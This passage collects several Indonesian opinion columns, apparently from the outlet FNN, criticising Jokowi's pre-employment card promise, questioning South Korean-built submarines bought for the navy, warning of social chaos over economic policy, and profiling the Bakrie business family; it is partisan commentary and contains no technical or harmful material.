kampanye. Selain kartu pra kerja adalah KIP (Kartu Indonesia Pintar) Kuliah dan Kartu Sembako Murah. Kartu Pra Kerja ditafsirkan berubah-berubah sejak janji itu dikeluarkan Jokowi kala kampanye itu. Penafsiran awal kartu itu ditujukan kepada dua juta pencari kerja. Dalam kartu itu akan diberikan uang pengangguran. Tafsir itu berkembang kemudian dengan pernyataan Jokowi bahwa paska pilpres yang dia maksud adalah kartu itu akan diberikan pada dua juta pengangguran atau pencari kerja. Untuk mereka termasuk pra kerja diberikan vokasi atau training hingga mereka bisa mendapat kerja. Penafsiran berkembang lagi bahwa kartu itu akan mempunyai peran selain untuk training juga peserta atau pemilik kartu akan dafat insentif setelah training. Lalu ada penafsiran lain dating dari Menko Pembangunan Manusia dan Kebudayaan (PMK), kartu itu akan menyasar ke pengantin yang baru, menikah tapi belum memiliki kerja. Berputar putarnya penafsiran kartu pra kerja itu, tentu terkait dengan informasi yang dibocorkan Sri Mulyani bahwa janji Jokowi tentang kartu pra kerja tidak direncanakan sejak awal. Dari sinilah awal mula pembicaraan hari-hari ini tentang janji bohong kartu pra kerja. Dalam situasi ekonomi negara yang sulit, dan kegelisahan pembayar pajak atas kehati-hatian penggunaan uang negara, kunci kepercayaan rakyat pada kepemimpinan nasional adalah penyusunan program secara hati-hati. Uang Rp 10 Triliun yang direncanakan untuk Kartu Pra Kerja, akan jadi bumerang, jika uang itu miskelola atau bahkan kalau tidak tepat sasaran. Tanpa perencanaan yang kuat, yang berbasis pada pencapaian Jokowi pada priode sebelumnya, maka pemerintah kesulitan menentukan siapa jumlah dua juta orang yang disasar kartu pra kerja. Karena jumlah pengangguran kaum muda sekitar 61% dari total pengangguran terbuka. Tahun 2019 lalu, sekitar tujuh juta jiwa pengangguran. Artinya, sasaran dua juta dari sekitar empat juta jiwa. Apakah nantinya pemberian kartu memakai metode "lotre"? Dalam situasi rakyat yang semakin susah saat ini, apalagi program pemangkasan subsidi mulai dijalankan rejim Jokowi, dipastikan pengangguran dan kemiskinan baru akan semakin besar. Pada Januari, 2019, Kepala Bappenas, Bambang Brojonegoro mengatakan ada 53 juta jiwa masyarakat rentan miskin. Sayangnya, pada Januari 2020, World Bank mengatakan ada 115 juta jiwa penduduk Indonesia yang rentan terhadap miskin. Dengan demikian rencana kartu pra kerja menjadi taruhan besar Jokowi saat ini. Jokowi harus bekerja keras untuk benar-benar bisa merealisasikan janjinya. Janji Jokowi terkait kartu pra kerja tentu belum dapat dikatakan janji palsu. Namun, janji-janji Jokowi 2014, terlalu banyak yang tidak terealisasi. Antara lain, janji pertumbuhan 7%, janji Land Reform, janji kabinet dan jaksa agung profesional, janji tidak rangkap jabatan, janji berantas korupsi, janji penuntasan kasus HAM, janji rupiah meroket, janji mengusut pelanggaran HAM masa lalu, dan masih banyak lagi. Kita anggap saja sementara ini janji Jokowi tentang pra kartu kerja masih omong kosong. Kita perlu menanti apakah janji itu palsu atau tidak. Untuk itu, kita tunggu sebaiknya kita tunggu saja. Mudah-mudahan bisa terealisasi sebelum berakhir 20124. Bocoran Sri Mulyani Bocoran Sri Mulyani tentang janji omong kosong Jokowi disampaikan di forum World Bank. Tentu saja kita tidak bisa menyepelekan pembocoran ini diantara orang-orang asing. Misbakhum, anggota DPR RI, misalnya, marah dengan pernyataan Sri Mulyani ini. Menurutnya hal itu tidak pantas dibocorkan orang terdekat Jokowi yang anggota kabinet. Namun, bagi kita pembocoran informasi ini penting untuk melihat berapa banyak sebenarnya janji-janji Jokowi yang mirip kartu pra kerja? Jokowi tidak boleh menjadi pemimpin, yang dalam sindiran SBY beberapa waktu lalu, "jangan jadi pemimpin kumaha engke, tetapi engke kumaha". Artinya, pemimpin itu jangan asal membuat janji. Untuk itu mungkin Misbakhum dan kalangan DPR RI perlu masuk pada substansi yang diperlukan rakyat. Rakyat butuh apa-apa saja yang merupakan janji-janji Jokowi yang dianggap Sri Mulyani membuat dia sampai sakit perut. Penutup Beberapa hari lalu, melalui kejujurannya atau pembocoran sengaja tentang janji pilpres Jokowi , Sri Mulyani memberitahu forum diskusi World Bank dan rakyat Indonesia bahwa program dan janji-janji Jokowi dalam kampanye banyak yang omong-kosong. Omong kosong maksudnya janji itu disampaikan tanpa mempunyai perhitungan dan kelayakan dari seorang presiden sebuah republik. Janji itu hanya untuk sekedar meraup suara. Antara lain program kartu pra kerja itu. Hal ini tentu menjadi bencana besar bagi sebuah negara. Sebab, seorang pemimpin negara harus diukur dari "satu kata dengan perbuatan". Kita mengetahui, uang negara Republik Indonesia, sangat tergantung Sri Mulyani, menteri keuangan dan bendahara negara. Sebagai petahana atau inkumben, tentu semua janji Jokowi harus terukur berbasis kemampuan terukur dari pembiayaan. Untuk melihat berapa banyak janji asal janji atau janji omong kosong Jokowi selama kampanye pilpres lalu, kita berharap keterbukaan lebih jauh dari Sri Mulyani. Atau DPR-RI memanggil Sri Mulyani. Penulis adalah Direktur Eksekutif Sabang Merauke Circle

Kapal Selam Korsel (2): Franklin Paham Kemampuan Galangan Kapal Daewoo

Oleh Mochamad Toha Jakarta, FNN - Setelah penandatangan kontrak untuk kapal selam lagi, permasalahan pun muncul. Apakah pengadaan, pembelian, dan pelaksanaan Transfer of Technology (TOT) yang disebut sudah sesuai dengan keinginan dan kebutuhan negara Indonesia terwujud? “Apakah ketiga kapal selam buatan Korea Selatan ini memenuhi standard dan teknis yang teruji dan layak pakai?” tanya Dipl. Ing. Dipl. Wirtsch. Ing. Franklin M Tambunan dalam suratnya kepada Presiden Joko Widodo yang ditulis pada 13 Januari 2020 itu. Di galangan kapal Howaldtswerke Deutsche Werft (HDW) di Kiel, Jerman, Franklin pernah bekerja sebagai Direktur Pendidikan Pembuatan Kapal Selam. Salah satu negara yang dididik Fanklin adalah Korsel. “Saya paham dengan kemampuan dan kesanggupan dari Galangan Kapal Daewoo,” ungkap Franklin. Sebelum penandatanganan kontrak pengadaan kapal selam dengan Korsel pada 2012, secara pribadi Franklin menyampaikan dalam pertemuan di Mabesal dengan KSAL saat itu bersama dalam pertemuan-pertemuan lainnya dalam bidang terkait. Franklin meminta Kontrak Kerja Sama dengan Korsel ini harus dibatalkan karena Korsel itu bukanlah negara pembuat kapal selam dan hanya sebatas Perakit/Assambler. Korsel belum pernah menciptakan satu kapal selam yang sudah teruji dan layak. Tapi, himbauan tersebut diabaikan dan Kontrak pengadaan tersebut ditanda tangani oleh pemerintah Indonesia. Artinya, “Kita telah mengorder kapal selam dari negara yang belum pernah menciptakan kapal selam sendiri,” tulisnya. Dengan keputusan tersebut, pada saat yang sama Franklin ditunjuk oleh KSAL Laksamana Suparno untuk menjadi tim pengawas dalam pembuatan Kapal Selam di Indonesia. Dalam rapat-rapat pertama di Kemenhan dan Kementerian terkait serta di PT PAL, Franklin dengan tegas mengatakan, Indonesia membutuhkan kapal prototype buatan Korsel terdahulu sebagai contoh sebelum kita tanda tangani kontrak pembeliannya. Maka mulai saat itu juga ia tidak lagi diundang ke rapat-rapat selanjutnya hingga hari ini. Hal ini termasuk juga di KKIP. Ada rencana memberikan posisi kedudukan sebagai counter part-nya Korsel. “Orang Korsel tersebut adalah mantan murid saya, sehingga dianggap bermasalah dan tidak menyamankan dalam kerja sama, itu alasan tidak jadi penempatan tersebut,” lanjut Franklin. Korea Selatan menyerahkan 3 kapal selam prototype atau kapal selam percobaan tidak teruji, tidak distandardisasi dan lisensi internasional dalam segala bentuk hal teknis. Menurut Franklin, Uji Kelayakan dari semua sistem yang ada di dalam kapal selam belum disertifikasikan. Sebelum penanda tanganan kontrak pada 2012 seharusnya tuntutan bangsa kita adalah agar Korsel mempresentasikan kapal contoh dengan segala test uji coba serta sertifikasi-sertifikasi nasional dan internasional dari kapal selam tersebut. “Korsel harusnya menunjukkan satu contoh kapal selam sejenis yang kita mau beli sebagai kapal selam prototype yang sudah teruji kelayakannya,” tegas Franklin. Juga, fakta-fakta mengatakan sesuai kesaksian dari User/TNI AL di Surabaya bahwa mereka menerima produk kapal selam yang sangat tidak layak pakai, baik secara teknis dan mereka ragu menggunakannya. Sebab, belum ada data-data akurat menunjukkan kelayakannya. Kapal selam ini memiliki masalah dalam hal kesenyapan dengan Radiated Noise Level yang rendah. Maksudnya, tingkat kesenyapan ini dibutuhkan agar tak bisa didengar atau dijangkau oleh lawan saat operasi. Selanjutnya juga tidak memiliki tingkat kemampuan penghindaran deteksi (silent-stealthy). Ketiga kapal selam ini sangat perlu dipertanyakan apakah memiliki senjata tempur yang teruji sesuai spesifikasi dan kebutuhan TNI AL. “Saat penerimaan kapal selam pertama saya ketahui bahwa Korsel belum mendapatkan alat senjata yang bisa diimplementasikan di dalam kapal selam yang pertama tersebut,” ungkap Franklin. Pengalaman bekerja di perusahaan pembuatan kapal selam di Kiel, Jerman perlu disampaikan dengan tegas bahwa untuk mempublikasikan satu produk kapal selam yang baru diciptakan membutuhkan kurang lebih tujuh (7) tahun proses segala tes uji kelayakannya. “Sesudah teruji dan disertifikasi barulah dipublikasikan. Ketiga kapal baru tersebut belum pernah melalui uji tes sejenis, sehingga diragukan kelayakannya,” tegas Franklin. Menurutnya, kedua kapal selam buatan Korsel itu adalah kapal yang sangat berbahaya bagi penggunanya/user. Berbahaya karena jika terjadi kecelakaan maut akibatnya. Bahaya dalam mempertahankan kedaulatan NKRI jika kecelakaan, kerugian negara bukan hanya secara finansial tapi juga kehilangan awak (pasukan TNI AL) yang berkualitas dan berpengalaman tinggi. “Korsel mengembangkan teknologi kapal selam mereka dengan menggunakan uang rakyat Indonesia,” ungkap Franklin. Perjanjian antara Jerman dan Korsel pada 1994 dituangkan dalam kontrak bahwa kapal selam tipe 209/1200 izin lisensi pembuatannya hanya boleh diproduksi untuk kepentingan nasional Korsel saja. Tidak ada untuk izin ekspor. Untuk menghindari pelanggaran kontrak antara Jerman dan Korsel maka Korsel menawarkan tipe 209/1400. Masalahnya tipe 209/1400 belum pernah ada saat mereka tawarkan kontrak pembelian tersebut. “Ketiga kapal selam yang kita sudah terima di Surabaya waktu itu adalah kapal prototype, kapal percobaan Korsel yang belum teruji kelayakannya,” tegas Franklin. “Dengan penanda tanganan kontrak tersebut maka kita membantu Korsel mengembangkan teknologi kapal selam mereka dengan uang negara Republik Indonesia,” lanjutnya. Korsel telah berhasil membohongi bangsa Indonesia. Bateri kapal selam adalah listrik penggerak kapal selam saat operasi menyelam. Bateri yang digunakan di kedua kapal selam yang baru dari Korsel itu menggunakan bateri buatan Korsel sendiri. Perlu dicatat, kata Franklin, bateri buatan Korsel tidak berfungsi sesuai dengan kebutuhan kapal selam tersebut. Bateri itu dibutuhkan untuk memberikan energi listrik kepada semua peralatan didalam kapal selam saat operasional. “Menurut pengalaman pribadi dan juga dari pengalaman pengguna/user AL bahwa bateri buatan Korsel tidak berfungsi maksimal,” tutur Franklin. Hal ini membahayakan kondisi kapal saat beroperasional dan bisa mematikan pengguna kapal selam (awak TNI AL). Perlu dipahami bahwa sekitar 65% isi peralatan teknis dalam kapal selam tersebut adalah produk-produk berasal dari Jerman. “Ini berarti bahwa ketergantungan Korsel ke negara Jerman masih sangat besar,” tambahnya. Peraturan pemerintahan Jerman adalah setiap peralatan senjata baik peralatan-peralatan senjata baik spare parts-nya harus memiliki izin ekspor dari pemerintahan Jerman dengan negara pengguna peralatan tersebut. Dalam pengadaan kapal selam dengan Korsel, Indonesia tidak mengadakan perjanjian-perjanjian apapun dengan pemerintahan Jerman tentang pengadaan kapal selam tersebut. Masalah dan bahaya ke depan ini untuk Indonesia, bila terjadi sesuatu hal dan membutuhkan peralatan teknis, spare parts dari negara Jerman, bisakah Indonesia mendapatkan peralatan itu karena izin ekspor dari awal kontrak pengadaan Indonesia tak miliki ijin tersebut. Tapi ke Korsel. Artinya Indonesia akan selalu tergantung Korsel terhadap peralatan-peralatan buatan Jerman. Mungkin saja suatu saat tertentu Indonesia diembargo Jerman atas permintaan peralatan-peralatan tersebut karena tidak adanya perjanjian-perjanjian disebut di atas. “Hal ini sudah pernah saya bicarakan langsung dengan galangan kapal HDW yang memiliki lisensi dengan Korsel. Mereka membenarkan apa yang saya tuliskan di atas ini,” katanya. (Bersambung). Penulis wartawan senior.

Kapal Selam Korsel (1): Surat Konsultan Kapal Selam untuk Presiden Jokowi

Oleh Mochamad Toha Jakarta, FNN - Menteri Pertahanan Prabowo Subianto saat ini sedang mengevaluasi proyek pertahanan yang bersifat strategis nasional, yaitu produksi pesawat tempur IFX dan kapal selam yang bekerjasama dengan Korea Selatan. Untuk pesawat tempur kerjasama KFX/IFX saat ini masih tahap Engineering Manufacture Development (EMD) karena pihak Indonesia saat ini terkendala belum bayar uang urunan. Sedangkan untuk kapal selam, Indonesia sudah mendapatkan 2 kapal selam kelas Chang Bogo yang dibuat di Korsel dan 1 kapal selam yang sedang menjalani uji pelayaran yang dibuat oleh PT PAL Surabaya. Kini, Indonesia memesan 3 lagi kapal selam jenis yang sama. Namun, pesanan yang kedua ini menurut beberapa media luar negeri dibatalkan karena ada beberapa masalah mendasar. Namun pihak Kemenhan belum mengakui hal tersebut. Dalam evaluasi Kemenhan kemarin, seperti dikutip dari Kompas.com, dari 3 unit kapal selam batch pertama sudah sampai di Indonesia, dua kapal selam sudah diserahkan kepada TNI AL, yaitu KRI Nagapasa 403 dan KRI Ardadedali 404. Sedangkan untuk KRI Alugoro 405 masih menjalani uji intensif oleh PT PAL-DSME selaku principal kapal selam ini Menurut Ketua Pelaksana Harian Komite Kebijakan Industri Pertahanan (KKIP) Sumardjono, dulu waktu kapal pertama diserahterimakan di Korsel memang ada 12 masalah di kapal selam tersebut. ‘ “Lalu kita datangkan ahlinya langsung dari Korea, akhirnya berkurang masalahnya hingga saat ini tinggal 5 kendala. Kapal selam kedua sudah jauh lebih baik penyelesaiannya,” kata Sumardjono. Apa yang diungkapkan oleh Sumardjono itu tampaknya sesuai dengan pemberitaan media Prancis Latribune yang memberitakan Pemerintah Indonesia kecewa dengan performa kapal selam buatan Korsel tersebut, sehingga mencari alternatif pemasok kapal selam lain seperti U214 Turki/Jerman dan Scorpene Prancis. Adalah Dipl. Ing. Dipl. Wirtsch. Ing. Franklin M Tambunan, Konsultan Kapal Selam yang sangat mengetahui bagaimana kualitas kapal selam produksi Korsel tersebut. Karena itulah Franklin menyurati Presiden Joko Widodo. Dalam surat yang ditulisnya di Jakarta pada 13 Januari 2020 lalu itu Franklin yang lahir di Pematang Siantar, Sumatera Utara, mengenalkan dirinya sebagai Direktur dari PT. Taimex Konsultan Internasional di Bidang Konsultan Perkapalan. Khususnya kapal selam dan international business development and trader di Jerman yang saat ini kembali di Indonesia. “Sebelum menjadi konsultan saya bekerja di galangan kapal HDW, Kiel, Jerman di berbagai posisi dan pernah juga menjadi Direktur Pendidikan Pembuatan Kapal Selam untuk negara-negara asing di luar Jerman,” ungkapnya. Franklin menulis kepada Menhan karena kerisauannya terhadap pengadaan dan pembelian kapal selam dari Korsel serta rencana kelanjutannya yang menurutnya, tidak akan membantu pertahanan dan kemandirian industri pertahanan nasional ke depan ini. Korsel atau galangan kapal Daewoo mulai dari berdirinya industri pembuatan kapal selamnya secara pribadi Franklin turut serta mengonsepkan pembuatan kontrak kerja sama itu serta timnya yang memberikan pendidikan kepada tenaga ahli Daewoo pada 1994 di Jerman. Oleh karena itu ia meminta menyampaikan pikiran dan tanggapannya terhadap kedua kapal selam yang sudah kita terima dari Korsel di Surabaya dan juga pengadaan joint section pada kapal ketiga serta rencana-rencana pengadaan kerja sama dengan Korsel ke depan ini. Pembelian kapal selam dari negara Korsel dan rencana program NKRI untuk mendapatkan pendidikan Transfer of Technology (TOT) dimaksudkan agar mampu mandiri memproduksi kapal selam ke depan nanti. Melihat dari sejarah kepemilikan dan pengoperasian kapal selam oleh TNI AL (dulu ALRI-Angkatan Laut Republik Indonesia) yang dimulai sejak September 1959 hingga 2019 menunjukkan, Indonesia telah berjaya menggunakan kapal selama 60 tahun di perairan NKRI mempertahankan kedaulatan RI. Demikian juga sejarah pemeliharaan, repair, dan overhaul semua kapal selam yang dimiliki oleh TNI AL senantiasa dibawa dari Indonesia ke negara pembuatnya. Hal ini disebabkan oleh ketidak mampuan galangan kapal Indonesia seperti PT PAL hingga saat ini. Keinginan memiliki teknologi produksi atau reparasi-overhaul kapal selam sudah muncul pada tahun19 80-an saat Cakra dan Nanggala diproduksi di Jerman. Wacana-wacana tersebut pada akhirnya direalisasikan dengan keputusan pengadaan dan pembelian kapal selam pada 2012 dari Korsel serta rencana memperoleh pendidikan TOT kapal selam dari DSME, Korsel. “Pada 2019 TNI AL telah memperoleh 3 kapal selam dari Korsel dengan berharap mendapat kemampuan untuk memproduksi kapal selam sendiri di Indonesia,” ungkap Franklin ketika bertamu ke Redaksi fnn.co.id di Jakarta. “Membangun industri pertahanan strategis nasional menuju kemandirian Industri Pertahanan merupakan amanat Undang Undang RI Nomor 16 Tahun 2012 tentang Industri Pertahanan,” lanjut Franklin mengutip UU 16/2012 itu. Menurut Franklin, ahli kapal selam Korsel adalah muridnya Franklin. Korsel selama ini tidak pernah punya pabrik kapal selam. “Saat presentasi di Indonesia, Korsel tidak bisa tunjukkan prototipe. Yang ditunjukkan cuma gambar,” katanya. Bahan baku dibeli dari Jerman, dimodifikasi di Korsel lalu dirakit di Indonesia. Sebanyak 206 tenaga Indonesia dikirim ke Korsel untuk belajar membuat kapal selam, di mana yang mengajar adalah anak muridnya Franklin. Mereka belajar 1 minggu hingga 2,5 tahun, tergantung spek apa yang dipelajari. Padahal, hal ini sudah diingatkan Franklin pada 2012 saat pertama kali MoU dengan Korsel dibuat. Hari ini semua yang dikhawatirkan Franklin, terjadi. “Dua kapal selam yang kemarin dikirim ke PAL Surabaya harganya Rp 13,9 trilin. Itu pun Korsel masih minta tambahan lagi,” ujar Franklin yang cerita ini sambil menangis, “betapa parahnya bangsa Indonesia dibodohi Korsel,” lanjutnya. Kedua kapal selam itu dibuat di Korsel dan dalam bentuk utuh disetel di PAL. “Yang ketiga disambung di sini. Section 1-7 disambung di PAL lalu dilas,” kata Franklin. Korsel butuh dana lagi untuk perbaikan. “Sekarang ada 160 masalah kapal yang perlu dana lagi. Kenapa Indonesia mau menerima barang belum jadi? Ini projek nasional. TNI AL adalah user,” tegas Franklin. Mantan Menhan Ryamizard Ryacudu sebelum Pilpres 2019 lalu teken kontrak buat kapal selam lagi 2 kapal (batch 2). Prabowo minta dibatalkan. Ia minta supaya gunakan teknologi terbaru dari Jerman yang sudah teruji pembuat kapal selam. Prabowo tidak mau kapal yang hanya menyelam dalam kedalaman 10 m. “Maunya AIP (air independent propulsion) yang hanya Jerman yang punya. Artinya Prabowo sudah mencium gelagat ini! (*Bersambung*) Penulis adalah wartawan senior Franklin M Tambunan

Di Bawah Bayang-Bayang Chaos, Selanjutnya Apa?

Oleh Edy Mulyadi Jakarta, FNN - Pemerintah tengah memompa ban atau meniup balon. Terus dan terus. Dan, sesuai sunnatullah, balon yang terus ditiup atau ban yang terus-menerus dipompa, pada akhirnya bakal meledak. Begitulah yang terjadi selama lebih lima tahun terakhir. Rezim yang berkuasa terus-menerus membebani rakyat dengan aneka tarif dan harga yang mahal. Tarif dasar listrik (TDL) naik awal tahun ini. Hal serupa juga terjadi pada tarif premi (pemerintah ngotot menyebutnya iuran) BPJS Kesehatan naik untuk semua kelas. Padahal, penguasa sudah sepakat dengan DPR bahwa yang naik hanya untuk premi kelas 1 dan 2. Tapi begitulah kekuasaan yang dibangun dengan kebohongan dan kecurangan. Kalau kesepakatan dengan DPR, sebuah lembaga terhormat yang tercantum dalam konstitusi saja bisa pemerintah ingkari, tentu bukan hal aneh jika penguasa dengan gampang menyengsarakan rakyatnya sendiri. Zalim dan tidak adil Kezaliman dan ketidakadilan penguasa terhadap rakyatnya sendiri juga tampak jelas dari kebijakan dan struktur APBN. Di sini, berbagai alokasi anggaran belanja sosial terus dipangkas. Subsidi energi termasuk listrik dan BBM dibabat hingga ke titik nol. Rakyat dan kalangan UMKM dihisap habis-habisan lewat pajak yang digenjot gila-gilaan. Khusus untuk penerimaan pajak, pemerintah benar-benar ambyar. Realisasi penerimaan pajak 2019 yang hanya sekitar 84,4%, menunjukkan jebloknya kinerja Sri Mulyani selaku Menteri Keuangan. Bahkan selama perempuan pejuang neolib ini menjadi Bendahara Negara, rasio pajak Indonesia menyentuh titik terendah. Berdasarkan data Ditjen Pajak, pada 2018 rasio pajaknya 11,5%, 2017 sebesar 10,7%, dan 10,8% pada 2016. Sedangkan tahun 2015 dan 2014 masing-masing 11,6% dan 13,7%. Angka-angka rasio pajak ini sudah memperhitungkan penerimaan negara bukan pajak (PNBP) yang bersumber dari sektor sumber daya alam (SDA) dan mineral dan batu bara (Minerba). Jika rasionya hanya dihitung berdasarkan penerimaan yang dipungut Ditjen Pajak dan Ditjen Bea Cukai, dipastikan angkanya lebih rendah lagi. Di sisi lain, sebagai hamba mazhab Neolib yang memegang teguh prinsip creditors first, Sri sangat disiplin dalam membayar cicilan dan bunga utang. Tahun ini, APBN menganggarkan pembayaran bunga utang 2020 mencapai Rp295 triliun. Jumlah itu ditambah dengan pembayaran pokok utang Rp351 trilliun. Dengan demikian, total alokasi anggaran pembayaran pokok dan bunga utang mencapai Rp646 triliun. Tingginya pembayaran cicilan pokok dan bunga utang ini disebabkan syahwat Sri dalam menjaring utang terbilang ugal-ugalan. Utang Indonesia setiap tahun bertumbuh rata-rata 20%. Padahal pertumbuhan PDB rata-rata cuma 5%. Ini artinya, utang kita naik 4 kali lebih cepat daripada pertumbuhan PDB. Di tataran kehidupan sehari-hari, pemangkasan aneka subsidi dan penggenjotan pajak yang gila-gilaan telah menyebabkan naiknya aneka harga kebutuhan pokok. Akibatnya, beban rakyat kian berat saja. Pada saat yang sama, pemerintah makin menunjukkan ketidakadilan yang luar biasa. Yang teranyar, misalnya, pemerintah memberikan tax holiday alias pembebasan pajak kepada pengusaha Prajogo Pangestu atas pabrik petrokimia yang bakal dia bangun. Tidak tanggung-tanggung, _tax holiday_ itu berlaku selama 20 tahun. Awal 2018 silam, pemerintah juga menggerojok lima perusahaan kelapa sawit besar senilai Rp7,5 triliiun. Kepada rakyat kecil dan UMKM pemerintah begitu bengis dalam memajak, sebaliknya bagi pengusaha besar penguasa cenderung memanjakan bahkan terkesan bertekuk-lutut. Kemarahan rakyat juga kian dipicu dengan parade mega korupsi yang satu per satu terkuak ke publik. Skandal mega korupsi Jiwasraya Rp13 triliun dan Asabri yang sekitar Rp10 triliun, menambah panjang daftar keserakahan elit ekonomi dan politik negeri ini. Konon, sebentar lagi juga bakal meledak kasus Bumiputra dan sejumlah BUMN lain. Belum lagi kasus kondensat yang merugikan negara hingga Rp35 triliun yang sampai kini tidak mangkrak dan tidak jelas penyelesaiannya. Seperti disebut di bagian depan tulisan ini, dengan berabagai ketidakadilan dan skandal mega korupsi tersebut, pemerintah ibarat tengah memompa ban. Terus dan terus. Pada akhirnya, ban akan meledak. Kemarahan rakyat pun bakal tak terbendung. Beratnya beban ekonomi yang harus ditanggung dan ketidakadilan yang secara telanjang dipertontonkan penguasa, bukan mustahil akan berujung pada terjadinya kerusuhan sosial. _Chaos_ bahkan revolusikah? Mungkin saja. Jika kerusuhan sosial bakal revolusi benar-benar meledak, sanggupkah rezim ini mempertahankan kekuasaan? Sejarah membuktikan, tidak ada satu pun kekuasaan zalim yang mampu bertahan dari gelombang kemarahan rakyat! Begitu pun di Indonesia. Bukan mustahil ‘ramalan’ Rocky Gerung, bahwa Joko Widodo bakal tumbang sebelum 2024 menjadi kenyataan. Pilpres ulang Pertanyaannya kemudian, jika rezim ini benar-benar tumbang sebelum 2020, apa yang selanjutnya terjadi? Dalam konstitusi dikenal istilah Triumvirat yang diatur di dalam Pasal 8 ayat (3). Pasal itu berunyi: “ _Jika Presiden dan Wakil Presiden mangkat, berhenti, diberhentikan atau tidak melakukan kewajiban dalam masa jabatannya secara bersamaan, pelaksana tugas kepresidenan adalah Menteri Luar Negeri, Menteri Dalam Negeri dan Menteri Pertahanan secara bersama-sama_.” Jika Presiden dan Wapres secara bersamaan tidak berfungsi, maka Triumvirat menjadi pelaksana tugas kepresidenenan. Namun, dengan seabrek fakta yang terjadi, presiden dan kabinetnya ternyata selama ini justru menjadi sumber masalah. Kinerja mereka yang diberi amanat mengurus negeri dan menyejahterakan rakyat jauh di bawah banderol. Di tangan mereka, rakyat justru kian menderita dan merasakan ketidakadilan yang tak terperi. Menyerahkan kekuasaan kepada DPR adalah tindak kedunguan luar biasa. Orang-orang di Senayan itu sama sekali tidak memiliki legitimasi moral. Integritas mereka sudah lama tercampak ke comberan. Indikatornya gampang saja, pada periode silam lebih dari 300 anggota DPR yang berurusan dengan kasus korupsi. Jadi, bagaimana? Harus ada Pilpres ulang. Agar kredibel, kali ini buang jauh-jauh aturan _presidential threshold_ (PT). Di tangan hegemoni oligarki yang menguasai parlemen seperti selama ini, PT telah menjadi alat melanggengkan kekuasaan korup dan menindas. Lewat aturan ini mereka telah menyingkirkan putra-putra terbaik bangsa untuk tampil memimpin negeri. Presdiential threshold juga menjadi senjata ampuh melahirkan presiden yang sama sekali tak memiliki kapasitas dan kapabilitas. Tujuannya, agar presiden terpilih tetap bisa menjadi boneka yang patuh untuk mengamankan kepentingan bisnis dan politik para oligarki. Karenanya, pemilihan presiden pasca _chaos_ harus membuka kesempatan seluas-luasnya bagi para putra terbaik bangsa, tak peduli berapa pun jumlah calon yang muncul. Bahkan, katakanlah, akan mucul 100 Capres, tetap tidak masalah. Toh, nanti rakyat yang akan menentukan. Pada putaran kedua akan terpilih calon yang benar-benar mumpuni, berintegritas serta punya kapasitas dan kapabilitas sebagai pemimpin negara besar. Bukan seperti sekarang, planga-plongo dengan kapasitas dan kapabilitas jauh di bawah kebutuhan. [*] Jakarta, 4 Februari 2020 Penulis wartawan senior

Organisasi Pengusaha Pintu Masuk ke Dunia Politik (bag 2-habis)

Oleh : Tjahja Gunawan Jakarta, FNN - Di Indonesia, para pengusaha pribumi yang terjun ke arena politik umumnya memulai karirnya melalui jalur organisasi pengusaha seperti misalnya Himpunan Pengusaha Muda Indonesia (Hipmi) atau Kadin Indonesia. Itu yang dilakukan Jusuf Kalla, Aburizal Bakrie, Sandiaga Uno, MS. Hidayat serta pengusaha senior Abdul Latif dan Siswono Yudhohusodo di era Orde Baru. Hanya saja pengalaman berorganisasi Jusuf Kala lebih lengkap dibandingkan pengusaha lainnya. Sebelum aktif di organisasi pengusaha, Daeng Ucu panggilan akrab Jusuf Kalla sejak mahasiswa telah aktif berorganisasi di Himpunan Mahasiswa Islam (HMI). Bahkan setelah tidak lagi menjabat sebagai Wakil Presiden, Jusuf Kalla hingga kini masih menjadi Ketua Umum Palang Merah Indonesia (PMI) yang dijabatnya sejak 2009. Keberhasilan seorang pengusaha dalam memimpin perusahaan, tidak otomatis sukses dan berhasil ketika dia terjun ke dunia politik. Walaupun di dunia politik Aburizal Bakrie berhasil menapaki kursi menteri dan Ketua Umum Partai Golkar, namun nampaknya dia tidak berhasil mempertahankan kredibilitas dan nama baiknya seperti halnya ketika dia masih menjadi seorang pengusaha. Justru setelah Ical masuk ke dunia politik praktis, kinerja dan reputasi Kelompok Usaha Bakrie semakin redup bahkan merosot. Setelah terjun ke dunia politik, Aburizal Bakrie malah menjadi figur yang kontroversial karena dianggap bertanggung jawab atas berbagai peristiwa yang menimpa perusahaannya. Misalnya seperti kasus semburan lumpur Sidoarjo di Jawa Timur. Perusahaannya juga terlibat dalam kasus tender operator Sambungan Langsung Internasional (SLI), tunggakan royalti batu bara, dan kasus pajak Bumi. Menjelang HUT ke-78 Grup Bakrie pada 10 Februari 2020, saya iseng bertanya kepada sahabat saya yang bekerja di perusahaan tersebut. "Mas, ada acara khusus nggak menjelang HUT Bakrie tahun ini?," tanya saya. Lalu sahabat saya segera menjawab melalui WA: "Sementara ini ngga ada acara besar Kang. Maklum kondisi keuangan belum sehat he...he...". Seperti halnya siklus bisnis yang naik turun, sebuah perusahaan pun bisa mengalami pasang surut tergantung situasi dan perkembangan ekonomi nasional maupun global. Namun tidak sedikit perusahaan yang bisa bertahan di tengah krisis ekonomi. Bahkan ada beberapa perusahaan yang mampu melakukan ekspansi usaha justru di saat ekonomi sedang lesu. Aburizal Bakrie adalah anak sulung dari empat bersaudara dari pasangan orangtua Achmad Bakrie (Lampung) dan Roosniah Nasution (Medan). Boleh dibilang ketika Ical lahir dari perut ibunya pada 15 November 1946, dia sudah hidup enak dan nyaman sebagai anak orang kaya. Ketika Ical lahir, perusahaan Bakrie & Brothers yang didirikan orangtuanya juga baru berumur empat tahun. Kendati demikian, ibaratnya Ical sudah menggunakan sendok dan garpu terbuat dari bahan emas untuk makan minum. Inilah yang membedakan perjuangan orangtua yang menjadi pengusaha dengan anaknya yang mewarisi perusahaan keluarganya. Perjuangan Achmad Bakrie ketika merintis usaha dan mendirikan perusahaan Bakrie & Brothers, niscaya berbeda dengan upaya Ical ketika meneruskan perusahaan keluarganya. Setiap zaman memang melahirkan generasinya sendiri-sendiri dengan karakter yang berbeda satu dengan yang lainnya. Sebelum dikenal sebagai pengusaha besar, Achmad Bakrie ternyata mengawali bisnis pertamanya dengan berjualan roti. Meski demikian, langkah awal pada usahanya itu justru menjadi tonggak sejarah penting bagi kesuksesannya di masa depan. Achmad Bakrie tidak hanya lihai dalam berbisnis, dia juga dikenal jenius karena kejeliannya melihat dan memanfaatkan peluang usaha yang ada. Sesuatu yang besar, dimulai dari hal yang kecil. Pepatah klasik ini telah diterapkan oleh Achmad Bakrie muda. Sembari mengenyam pendidikan di sekolah elit pribumi Hollandsch Inlandsche School (HIS) di Menggala, Lampung, dia menyempatkan waktu untuk berjualan roti. Dengan modal beberapa rupiah di saku bajunya, Achmad Bakrie muda membeli setumpuk roti yang 